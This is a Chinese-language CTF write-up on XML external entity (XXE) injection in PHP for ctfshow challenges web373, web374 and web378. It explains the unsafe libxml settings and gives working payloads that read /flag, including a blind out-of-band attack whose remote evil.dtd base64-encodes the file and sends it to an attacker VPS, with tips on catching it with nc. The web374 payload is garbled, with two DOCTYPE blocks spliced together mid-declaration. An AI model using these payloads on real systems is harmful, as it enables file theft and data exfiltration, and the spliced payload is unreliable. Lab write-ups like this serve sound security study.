XXE:XML外部实体注入
ctfshow
web373
代码漏洞点
libxml_disable_entity_loader(false); - 启用了外部实体加载(默认是禁用的,这里特意开启了)
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 两个关键参数:
LIBXML_NOENT:允许替换实体(将实体引用替换为实体内容)
LIBXML_DTDLOAD:允许加载外部 DTD(文档类型定义)
- 接收用户可控的 XML 输入(
php://input)并直接解析
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE payload [ <!ENTITY payload SYSTEM "file:///flag"> ]> <web373> <ctfshow>&payload;</ctfshow> </web373>
|

web374
代码特点
- 依然启用了外部实体加载(
libxml_disable_entity_loader(false))
- 使用了危险的 XML 解析参数(
LIBXML_NOENT | LIBXML_DTDLOAD)
- 接收用户可控的 XML 输入(
php://input)
- 关键区别:只解析 XML 但不输出任何内容,常规的直接读取文件并显示的方法无法直接获取结果
利用方法:盲 XXE 攻击
由于没有直接输出,需要使用带外数据(OOB)传输的方式,将读取到的文件内容发送到攻击者控制的服务器。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?xml version="1.0"?> <!DOCTYPE root [ <!<?xml version="1.0" encoding="UTF-8"?>
<!-- 要引用(dtd里面),所以要加百分号% --> <!-- /flag 改成 /etc/passwd 可能会失败,因为内容太多了 --> <!DOCTYPE hacker[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % myurl SYSTEM "http://vps-ip/test.dtd">
%myurl; ]> <!-- 不能直接<!ENTITY % myurl SYSTEM "http://vps-ip:port/%file"> ,因为默认不允许把本地文件发送到远程dtd里面,需要绕一圈,绕过这个限制--> <!-- %myurl;会读取远程dtd文件,读到了以后,因为远程dtd文件有一个实体的定义(% dtd),那么就会解析这个实体定义。(% dtd)实体的定义内容是另外一个实体定义(% vps),那就会解析(% vps),就会执行远程请求,请求地址(http://vps-ip:port/%file),会在我们的vps日志上留下痕迹。 也可以起nc监听端口,能判断是否有向我们的vps发送请求以及请求内容。起nc的话% myurl的值,不要加端口,就vps-ip够了。 总结就是,%myurl 这种引用会自动向地址发送请求。 -->
<root> 1 </root> % file SYSTEM "file:///flag"> <!ENTITY % dtd SYSTEM "http://攻击者服务器地址/evil.dtd"> %dtd; %send; ]> <root></root>
|
evil.dtd:
1 2 3 4 5 6 7 8 9
| <!ENTITY % dtd "<!ENTITY % vps SYSTEM 'http://vps-ip:port/%file;'> "> <!-- % 就是百分号(% vps=% vps),因为是嵌套在里面的引用,不能直接写百分号 --> <!-- 如果选择nc监听的话,端口一定要加!!! --> <!-- 如果选择看日志的话,端口一定不能加!!! -->
<!-- 引用(执行)dtd实体,vps被注册 --> %dtd; <!-- 引用(执行)vps实体,接收%file变量的内容 --> %vps;
|
web378——无回显XXE,外部实体,绕过过滤
浅析无回显的XXE(Blind XXE) - FreeBuf网络安全行业门户
在路由/doLogin下发POST包:
1 2 3 4 5
| <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
<user><username>&xxe;</username><password>&xxe;</password></user>
|
